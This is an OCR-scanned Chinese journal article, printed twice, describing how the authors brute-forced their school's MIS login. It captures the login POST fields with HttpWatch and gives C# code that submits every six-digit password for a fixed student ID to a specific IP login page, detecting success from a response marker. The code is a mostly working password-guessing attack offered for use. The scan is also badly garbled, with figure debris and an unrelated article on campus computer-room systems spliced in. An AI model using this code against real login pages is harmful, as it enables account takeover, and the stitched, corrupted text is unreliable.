2023年7月31日发(作者:)

电脑编程技巧与维护 暴力破解MIS登录密码的一种方法 王胜利,刘明月,马立国 (中国卫星海上测控部,江苏江阴214431) 摘要:以所在学校的MIS系统为例,讲述了一种暴力破解MIS系统登录密码的方法。使用基于IE浏览器的插件 HttpWatch,获取MIS系统登录所提交的信息,并用HttpWebRequest来模拟提交这些登录信息,用HttpWebResponse 获得返回信息,分析返回的信息以判断登录是否成功,从而达到暴力破解MIS登录密码的目的。 关键词:HttpWebRequest;模拟登录;暴力破解 One Method of Brute Force MIS Login Password WANG Shengli,LIU Mingyue,MA Liguo (Chinese mariitme satellite monitoring and control of Department,Jiangsu Jingyian 214431) Abstract:In this paper,using the MIS system of the author's school,describes a method for bruting force the password of MIS.First,use plug-in HttpWatch based on IE browser,for getting the information submitted in login process,and use Http— WebRequest to simulate the submission of the login information,with HttpWebResponse get the server return information, analyze the information returned to determine the login is successful,to achieve the purpose of brute force the password. Key words:HttpWebRequest;Simulation Login;Brute force 1 使用httpwatch分析网页数据 学校的MIS登录界面如图1所示,需要输人用户名和密 码,但是不需要输入验证码,这就为破解密码提供了极大的 便利。 i 鼹 要 z t : !一姆! 羔 ’ 毒每一0—0 秣g 蠢 l l__ l__ l l舞 8 嚣 :  .;二 d蕊 、 ||ljji囊j薯jl l 图3 POST数据 切换到Stream选项卡可以看到服务器返回的信息,图4 (a)为密码正确登录成功时服务器返回的stream,图4(b)为 密码错误登录失败时服务器返回的stream。我们不用关心这些 信息具体是什么,也不用对这些信息进行具体的解析。只需 要根据这两者的不同来判断登录是否成功。在程序的判断中, 可以截取这些信息中的某一个标志位进行判断密码是否正确。 在此,选取的是第六行作为标志,如果第六行为”%2fDefauh. 图1 MIS系统登录界面 aspx%3fReturnUr1%3d”,则认为密码正确,登录成功,否则则 认为密码错误。 在使用程序破解之前,需要手工登录系统,同时使用 httpwatch分析在登录时向网页提交的数据和返回的数据。从 httpwatch的运行截图可以看到登录时进行了一次POST操作和 2 程序模拟登录 为了方便操作,把猜测密码的方法封装到了GuessDemo 类中。类中的核心函数为guesspassword,函数的参数为提交 4次GET操作,如图2所示。我们关心的主要是第一次POST 提交的数据。 的密码,返回值为从服务器返回的流信息中截取的标志。为 了方便传递参数,将密码破解范围封装到GuessRange结构体 中。 嚣 誊 ~ l |谚 i i- i ? = I :| | 一 …”~  + 黼 忡 }蛐^l ∞ m … : § 麓 嚣 囊 嬲 鼹 : _ ~ j ……~舔~一 public struct GuessRange//测试范围 { public int start; 图2登录过程分析 点选第一行的POST,可以在下面POST Data选项卡中看 到P0sT操作提交的数据,如图3所示。 向服务器提交的数据主要有_EVENTVAIDATION,_VIEW— STATE。btnOk.x,btnOK.Y,hftypes,txtID,txtPwd几项,在 作者简介:王胜利(1984一)男,工程师,硕士,研究方向: 交通信息工程;刘明月(1979一)男,工程师,本科;马立国 (1974一)男,技师,本科。 收稿日期:2012-03-20 后面的模拟登录时,需要模拟向服务器模拟提交这些数据。 t 与 COMPUTING SECURITY TECHNIQUES … f 一 靶蝌- isiti; 嘲 一c… 。# _ 0 …… 1"∞ l …, …z…d , w n ■ …" … ^ … 10 0 … d * ^一……  ,a’ … 0… … … ■H … 一 …h … … 0 一 … ’ b s … ~ 蛳 、・、Ⅲ、 { 一…5 "c¨……… rd .…… … - ● i… …… … …… … ” … 。 …i Ⅱ …… L ¨,; -q I ' E●'0 ^ d4 …… 。, ∞ ●… “…… ! ・01一 , 图4(a) 峨… c u 哪.  t曼 硪嘴I蚺蛾t童洒| t . I。 一 奠_ . …… }t H}棚 “k ‘ … … ,≈,, … ~¨… 7 ’ l… …-…… … ……~ “…# -… …¨ - … … h 1 f … …~…。… n … …^… ‘ ‘ I … , - I l ’ … …,, ,… … … …^‘, …, … , … 11 1… L … …md … | '^ 1…… … ,£ …  ’… ●… ● ‘” ~ "…… t ^“5一…… …^ F 4 … , ’ 0一 … ‘u0衄… 一… ∞ 舶 图4(b) 图4服务器返回数据 public int end; }; 锸 P l class GuessDemo 船 { _ ll1日 private string target=”%2fDefault.aspx%3fRetur- nUr1%3d”;//密码正确时服务器的返回值 public void Guess(object obj) { GuessRange Gr=(GuessRange)obj; for(int i=Gr.start;i<Gr.end;i++) { ,,假设该用户的密码由6位数字组成,不足六 立用0补齐 if(guesspassword(i.ToString().PadLeft(6, O,))!=target),,i区回的标志位不对 { Console.wdte(”Wrong…ha”);//密码不正确 } else { Console.Write r”right…the password is:”+i. ToString 0.PadLeft(6,,0 )+”ha”);//密码正确 break; } ) } public string guesspassword(Object test) { stirng mark=stirng.Empty;# ̄0断标志 string password=test.ToString(); string postdata= ” VIEWSTATE=% 2FwEPDwUJNDczMTYwMDk0ZBgBBR5fXONvbn- Ryb2xzUmVxdWlyZVBvc3RCY- WNrS2V5X18WAQUFYnRuT2tF%2BZ9KnWyfjoy931JVrt——GapEMafg%3D%3D&——EVENTVALIDATION=% 2FwEWBQLhtlTMCAKs%2B5bqDwKd%2B7qdDgL9kFIm— PAQLXwo75AT7% 2FdITTVjo7AOUuPbk84tf% 2Bd——WBd&txt/D=1 120090047&txtPwd=”+password--I’ &bt- nOk.x=30&btnOk.y=16&hftypes=l”;,,向服务器提交的数 ,/据,为了简便,我们将用户名固定设为1120090047 HttpWebRequest request=null; HttpWebResponse response=null; try { //仓0建HttpWebRequest对象,模拟提交登录信息 计算机安全技术 request=fHttpWebRequest)WebRequest.Cre— ate(”http://202.118.83.94:85/login.aspx”);/ request.Method=’’POST”: request.ContentType=”application/x—www— form-urlencoded”; request.AllowAutoRedirect=false; byte【】postdatabtyes=Encoding.UTF8.Get— Bytes(postdata); request.ContentLength=postdatabtyes.Length; request.KeepAlive:true; Stream requeststream:request.GetRequest— Stream 0; requeststream.Write(postdatabtyes,0,post- databtyes.Length);//向服务器提交信息 requeststream.Close(); response=(HttpWebResponse)request.Ge— tResponse 0;,/获取服务器返回信息 Console.Write(” ”); StreamReader sr=new StreamReader f re— sponse.GetResponseStream 0,Encoding.UTF8); string content=sr.ReadToEnd(); response.Close(); string【1 subsrt=content.Sprit(new char[】 f 一});,/截取标志位 mark=substr【1]; Console.Write(”guessing:ah”); returnmark; ) catch(System.Exception e) { Console.Write(”error!”); return”error”: } 】 ) 以下为测试代码,假设密码由6位数字组成,不满6位 的前面用0补齐,测试范围为000000—999999。 static voidMain(string口args) ( GuessDemo demo=new GuessDemo 0; GuessRange grs; grs.start=l: grs.end=999999; Thread test=new Thread(new Start(demo.Guess)); test.Start(grs); Console.ReadKey 0; } 运行结果如图5所示。 3 结语 可以看到破解方法是从000000一个一个地试,试到 999999,如果用户的密码是000009,那么guesspassword运行 9次就可以得到密码。如果用户的密码是999999,那么guess— password函数就要运行999999次,耗时较多。提高速度的途 径有两方面,一方面是设计合理的破解词典,本文采用的是6 (下转到132页)   电脑编程技巧与维护 3 身份平台融合设计 计算中心机房管理系统拥有一套独立的身份数据库和身 份认证系统。融入智慧校园后,机房管理系统应以智慧校园 身份平台的信息为准进行身份认证,即采用智慧校园卡的基 本身份信息作为机房管理系统的基准身份信息展开认证操作。 因此,机房管理系统的身份数据可直接采集智慧校园身份平 台的身份信息,并确保信息的同步。 芋号 学生上机前先用现金在学校财务处购买上机票,然后将上机 票支付给计算中心,由工作人员人工给个人账户充值。机房 管理系统将根据学生自由上机的时长在个人账户上自动实时 扣除上机费用。若个人账户余额不足将不能自由上机。 表2智慧校园发送的上机费转存信息 英文字段名 中文字段名 数据类型 约柬 备注 1 FLOWC0DE 2 LOGICNO 3 USERCODE 转存流水号 varehar(20) 主键 校园卡系统的转存流水号 自助服务机号 Int 用户编号 varchar(20] 机房管理系统从智慧校园身份平台采集的身份信息如表1 所示。 校园卡系统的自助服务机号 15位智慧校园卡号(唯一标识) 4 TRANSM0NEY 转存金额 Int datetime o_未人账,i-已人账,2_转存异常 表1从智慧校园身份平台采集的身份信息 序号 英文字段名 中文字段名 数据类型 约束 备注 5 CONSUMEnME 转存时间 6 SUCCEEDSTATUS 转存成功标志 lnt 1 USERC0DE 用户编号 varehat(20) 主键 15位智慧校园卡号(唯一标识) 2 USERNAME 用户姓名 varehar(201 表3机房管理系统发送的个人账户余额信息 序号 英文字段名 中文字段名 数据类型 约束 用户编号 3 ORCNAME 4 0RGⅢ 部门名称 varchar(20) 部门编号 lnt 部门(班级)在校园卡系统中的名称 Y 部门(班级)在校嗣卡系统中的编号 取值:”正常”、”异常”、”注销”等 备注 l U;ERCODE varehar(2 0】 主键 】5位智慧校园卡号(唯一标识 Int lnt 机房管理系统个人账户余额 取值:0一未结账,1-已结账 5 CARDSTA_rUS 账户状态 varchar(10) 2 CURRDBM0NEY 账户余额 3 ISBALANCE 结账标志 6 CARDTYPE 用户类别 varchar(201 7 MARK 信息版本号 lnt 取值:”本科生”、”研究生”等 从l开始的顺序号 机房管理系统融入智慧校园后,学生可直接用智慧校园 卡作为身份凭证享受上机服务,也可用智慧校园卡的电子钱 包随时转存上机费,不必为上机费是否充足而烦恼。可以想 像,在智慧校园全面建成后,计算中心的上机管理是如此方 便,校园信息化的推进带来的便捷由此可见一斑。 4数据平台融合设计 机房管理系统中预付费计费系统的个人账户数据必须与 智慧校园数据平台的数据保持一致和同步,具体数据包括上 机费转存信息和个人账户余额等。当智慧校园卡用户使用电 子钱包转存上机费后,智慧校园数据平台应向机房管理系统 发送上机费转存信息,机房管理系统随即在相应的个人账户 中进行充值操作。另外,机房管理系统应将个人账户的余额 信息及时发送给智慧校园的数据平台,供智慧校园卡用户在 参考文献 [1冯小明.计算机实验平台新理念及其实现1J[J].实验室研究 与探索,2007,26(7):61. 【2宗平,朱洪波,黄刚,等.智慧校园设计方法的研究[2】J】. 南京邮电大学学报(自然科学版),2010,30(4):15. [3]冀翠萍.智慧校园信息化运行支撑平台的建设[J].现代教 育技术,2012,22(1):49. 校园内随时进行查询或转账操作。个人账户余额数据的刷新 频率以一分钟一次为宜。 智慧校园发送给机房管理系统的上机费转存信息如表2 所示。机房管理系统发送给智慧校园的个人账户余额信息如 表3所示。 『4】南京邮电大学智慧校园【EB/OL].http://my.njupt.edu.cn/ccs/ main/loginIndex.do. 5服务融合描述 计算中心目前上机费用的结算采用上机票预付费方式。 (上接第117页) 位数字,另一方面是设计合理的查找算法。在本文中采用简 单的f0r循环一个一个试验,效率较低。 参考文献 f1张小伟.网页密码暴力破解.电脑迷,2009,11]5. [2】Simon Robinson,Christian Nage.c#高级编程.北京:清华大 学出版社,2005. 图5程序运行结果 哆电 

2023年7月31日发(作者:)

电脑编程技巧与维护 暴力破解MIS登录密码的一种方法 王胜利,刘明月,马立国 (中国卫星海上测控部,江苏江阴214431) 摘要:以所在学校的MIS系统为例,讲述了一种暴力破解MIS系统登录密码的方法。使用基于IE浏览器的插件 HttpWatch,获取MIS系统登录所提交的信息,并用HttpWebRequest来模拟提交这些登录信息,用HttpWebResponse 获得返回信息,分析返回的信息以判断登录是否成功,从而达到暴力破解MIS登录密码的目的。 关键词:HttpWebRequest;模拟登录;暴力破解 One Method of Brute Force MIS Login Password WANG Shengli,LIU Mingyue,MA Liguo (Chinese mariitme satellite monitoring and control of Department,Jiangsu Jingyian 214431) Abstract:In this paper,using the MIS system of the author's school,describes a method for bruting force the password of MIS.First,use plug-in HttpWatch based on IE browser,for getting the information submitted in login process,and use Http— WebRequest to simulate the submission of the login information,with HttpWebResponse get the server return information, analyze the information returned to determine the login is successful,to achieve the purpose of brute force the password. Key words:HttpWebRequest;Simulation Login;Brute force 1 使用httpwatch分析网页数据 学校的MIS登录界面如图1所示,需要输人用户名和密 码,但是不需要输入验证码,这就为破解密码提供了极大的 便利。 i 鼹 要 z t : !一姆! 羔 ’ 毒每一0—0 秣g 蠢 l l__ l__ l l舞 8 嚣 :  .;二 d蕊 、 ||ljji囊j薯jl l 图3 POST数据 切换到Stream选项卡可以看到服务器返回的信息,图4 (a)为密码正确登录成功时服务器返回的stream,图4(b)为 密码错误登录失败时服务器返回的stream。我们不用关心这些 信息具体是什么,也不用对这些信息进行具体的解析。只需 要根据这两者的不同来判断登录是否成功。在程序的判断中, 可以截取这些信息中的某一个标志位进行判断密码是否正确。 在此,选取的是第六行作为标志,如果第六行为”%2fDefauh. 图1 MIS系统登录界面 aspx%3fReturnUr1%3d”,则认为密码正确,登录成功,否则则 认为密码错误。 在使用程序破解之前,需要手工登录系统,同时使用 httpwatch分析在登录时向网页提交的数据和返回的数据。从 httpwatch的运行截图可以看到登录时进行了一次POST操作和 2 程序模拟登录 为了方便操作,把猜测密码的方法封装到了GuessDemo 类中。类中的核心函数为guesspassword,函数的参数为提交 4次GET操作,如图2所示。我们关心的主要是第一次POST 提交的数据。 的密码,返回值为从服务器返回的流信息中截取的标志。为 了方便传递参数,将密码破解范围封装到GuessRange结构体 中。 嚣 誊 ~ l |谚 i i- i ? = I :| | 一 …”~  + 黼 忡 }蛐^l ∞ m … : § 麓 嚣 囊 嬲 鼹 : _ ~ j ……~舔~一 public struct GuessRange//测试范围 { public int start; 图2登录过程分析 点选第一行的POST,可以在下面POST Data选项卡中看 到P0sT操作提交的数据,如图3所示。 向服务器提交的数据主要有_EVENTVAIDATION,_VIEW— STATE。btnOk.x,btnOK.Y,hftypes,txtID,txtPwd几项,在 作者简介:王胜利(1984一)男,工程师,硕士,研究方向: 交通信息工程;刘明月(1979一)男,工程师,本科;马立国 (1974一)男,技师,本科。 收稿日期:2012-03-20 后面的模拟登录时,需要模拟向服务器模拟提交这些数据。 t 与 COMPUTING SECURITY TECHNIQUES … f 一 靶蝌- isiti; 嘲 一c… 。# _ 0 …… 1"∞ l …, …z…d , w n ■ …" … ^ … 10 0 … d * ^一……  ,a’ … 0… … … ■H … 一 …h … … 0 一 … ’ b s … ~ 蛳 、・、Ⅲ、 { 一…5 "c¨……… rd .…… … - ● i… …… … …… … ” … 。 …i Ⅱ …… L ¨,; -q I ' E●'0 ^ d4 …… 。, ∞ ●… “…… ! ・01一 , 图4(a) 峨… c u 哪.  t曼 硪嘴I蚺蛾t童洒| t . I。 一 奠_ . …… }t H}棚 “k ‘ … … ,≈,, … ~¨… 7 ’ l… …-…… … ……~ “…# -… …¨ - … … h 1 f … …~…。… n … …^… ‘ ‘ I … , - I l ’ … …,, ,… … … …^‘, …, … , … 11 1… L … …md … | '^ 1…… … ,£ …  ’… ●… ● ‘” ~ "…… t ^“5一…… …^ F 4 … , ’ 0一 … ‘u0衄… 一… ∞ 舶 图4(b) 图4服务器返回数据 public int end; }; 锸 P l class GuessDemo 船 { _ ll1日 private string target=”%2fDefault.aspx%3fRetur- nUr1%3d”;//密码正确时服务器的返回值 public void Guess(object obj) { GuessRange Gr=(GuessRange)obj; for(int i=Gr.start;i<Gr.end;i++) { ,,假设该用户的密码由6位数字组成,不足六 立用0补齐 if(guesspassword(i.ToString().PadLeft(6, O,))!=target),,i区回的标志位不对 { Console.wdte(”Wrong…ha”);//密码不正确 } else { Console.Write r”right…the password is:”+i. ToString 0.PadLeft(6,,0 )+”ha”);//密码正确 break; } ) } public string guesspassword(Object test) { stirng mark=stirng.Empty;# ̄0断标志 string password=test.ToString(); string postdata= ” VIEWSTATE=% 2FwEPDwUJNDczMTYwMDk0ZBgBBR5fXONvbn- Ryb2xzUmVxdWlyZVBvc3RCY- WNrS2V5X18WAQUFYnRuT2tF%2BZ9KnWyfjoy931JVrt——GapEMafg%3D%3D&——EVENTVALIDATION=% 2FwEWBQLhtlTMCAKs%2B5bqDwKd%2B7qdDgL9kFIm— PAQLXwo75AT7% 2FdITTVjo7AOUuPbk84tf% 2Bd——WBd&txt/D=1 120090047&txtPwd=”+password--I’ &bt- nOk.x=30&btnOk.y=16&hftypes=l”;,,向服务器提交的数 ,/据,为了简便,我们将用户名固定设为1120090047 HttpWebRequest request=null; HttpWebResponse response=null; try { //仓0建HttpWebRequest对象,模拟提交登录信息 计算机安全技术 request=fHttpWebRequest)WebRequest.Cre— ate(”http://202.118.83.94:85/login.aspx”);/ request.Method=’’POST”: request.ContentType=”application/x—www— form-urlencoded”; request.AllowAutoRedirect=false; byte【】postdatabtyes=Encoding.UTF8.Get— Bytes(postdata); request.ContentLength=postdatabtyes.Length; request.KeepAlive:true; Stream requeststream:request.GetRequest— Stream 0; requeststream.Write(postdatabtyes,0,post- databtyes.Length);//向服务器提交信息 requeststream.Close(); response=(HttpWebResponse)request.Ge— tResponse 0;,/获取服务器返回信息 Console.Write(” ”); StreamReader sr=new StreamReader f re— sponse.GetResponseStream 0,Encoding.UTF8); string content=sr.ReadToEnd(); response.Close(); string【1 subsrt=content.Sprit(new char[】 f 一});,/截取标志位 mark=substr【1]; Console.Write(”guessing:ah”); returnmark; ) catch(System.Exception e) { Console.Write(”error!”); return”error”: } 】 ) 以下为测试代码,假设密码由6位数字组成,不满6位 的前面用0补齐,测试范围为000000—999999。 static voidMain(string口args) ( GuessDemo demo=new GuessDemo 0; GuessRange grs; grs.start=l: grs.end=999999; Thread test=new Thread(new Start(demo.Guess)); test.Start(grs); Console.ReadKey 0; } 运行结果如图5所示。 3 结语 可以看到破解方法是从000000一个一个地试,试到 999999,如果用户的密码是000009,那么guesspassword运行 9次就可以得到密码。如果用户的密码是999999,那么guess— password函数就要运行999999次,耗时较多。提高速度的途 径有两方面,一方面是设计合理的破解词典,本文采用的是6 (下转到132页)   电脑编程技巧与维护 3 身份平台融合设计 计算中心机房管理系统拥有一套独立的身份数据库和身 份认证系统。融入智慧校园后,机房管理系统应以智慧校园 身份平台的信息为准进行身份认证,即采用智慧校园卡的基 本身份信息作为机房管理系统的基准身份信息展开认证操作。 因此,机房管理系统的身份数据可直接采集智慧校园身份平 台的身份信息,并确保信息的同步。 芋号 学生上机前先用现金在学校财务处购买上机票,然后将上机 票支付给计算中心,由工作人员人工给个人账户充值。机房 管理系统将根据学生自由上机的时长在个人账户上自动实时 扣除上机费用。若个人账户余额不足将不能自由上机。 表2智慧校园发送的上机费转存信息 英文字段名 中文字段名 数据类型 约柬 备注 1 FLOWC0DE 2 LOGICNO 3 USERCODE 转存流水号 varehar(20) 主键 校园卡系统的转存流水号 自助服务机号 Int 用户编号 varchar(20] 机房管理系统从智慧校园身份平台采集的身份信息如表1 所示。 校园卡系统的自助服务机号 15位智慧校园卡号(唯一标识) 4 TRANSM0NEY 转存金额 Int datetime o_未人账,i-已人账,2_转存异常 表1从智慧校园身份平台采集的身份信息 序号 英文字段名 中文字段名 数据类型 约束 备注 5 CONSUMEnME 转存时间 6 SUCCEEDSTATUS 转存成功标志 lnt 1 USERC0DE 用户编号 varehat(20) 主键 15位智慧校园卡号(唯一标识) 2 USERNAME 用户姓名 varehar(201 表3机房管理系统发送的个人账户余额信息 序号 英文字段名 中文字段名 数据类型 约束 用户编号 3 ORCNAME 4 0RGⅢ 部门名称 varchar(20) 部门编号 lnt 部门(班级)在校园卡系统中的名称 Y 部门(班级)在校嗣卡系统中的编号 取值:”正常”、”异常”、”注销”等 备注 l U;ERCODE varehar(2 0】 主键 】5位智慧校园卡号(唯一标识 Int lnt 机房管理系统个人账户余额 取值:0一未结账,1-已结账 5 CARDSTA_rUS 账户状态 varchar(10) 2 CURRDBM0NEY 账户余额 3 ISBALANCE 结账标志 6 CARDTYPE 用户类别 varchar(201 7 MARK 信息版本号 lnt 取值:”本科生”、”研究生”等 从l开始的顺序号 机房管理系统融入智慧校园后,学生可直接用智慧校园 卡作为身份凭证享受上机服务,也可用智慧校园卡的电子钱 包随时转存上机费,不必为上机费是否充足而烦恼。可以想 像,在智慧校园全面建成后,计算中心的上机管理是如此方 便,校园信息化的推进带来的便捷由此可见一斑。 4数据平台融合设计 机房管理系统中预付费计费系统的个人账户数据必须与 智慧校园数据平台的数据保持一致和同步,具体数据包括上 机费转存信息和个人账户余额等。当智慧校园卡用户使用电 子钱包转存上机费后,智慧校园数据平台应向机房管理系统 发送上机费转存信息,机房管理系统随即在相应的个人账户 中进行充值操作。另外,机房管理系统应将个人账户的余额 信息及时发送给智慧校园的数据平台,供智慧校园卡用户在 参考文献 [1冯小明.计算机实验平台新理念及其实现1J[J].实验室研究 与探索,2007,26(7):61. 【2宗平,朱洪波,黄刚,等.智慧校园设计方法的研究[2】J】. 南京邮电大学学报(自然科学版),2010,30(4):15. [3]冀翠萍.智慧校园信息化运行支撑平台的建设[J].现代教 育技术,2012,22(1):49. 校园内随时进行查询或转账操作。个人账户余额数据的刷新 频率以一分钟一次为宜。 智慧校园发送给机房管理系统的上机费转存信息如表2 所示。机房管理系统发送给智慧校园的个人账户余额信息如 表3所示。 『4】南京邮电大学智慧校园【EB/OL].http://my.njupt.edu.cn/ccs/ main/loginIndex.do. 5服务融合描述 计算中心目前上机费用的结算采用上机票预付费方式。 (上接第117页) 位数字,另一方面是设计合理的查找算法。在本文中采用简 单的f0r循环一个一个试验,效率较低。 参考文献 f1张小伟.网页密码暴力破解.电脑迷,2009,11]5. [2】Simon Robinson,Christian Nage.c#高级编程.北京:清华大 学出版社,2005. 图5程序运行结果 哆电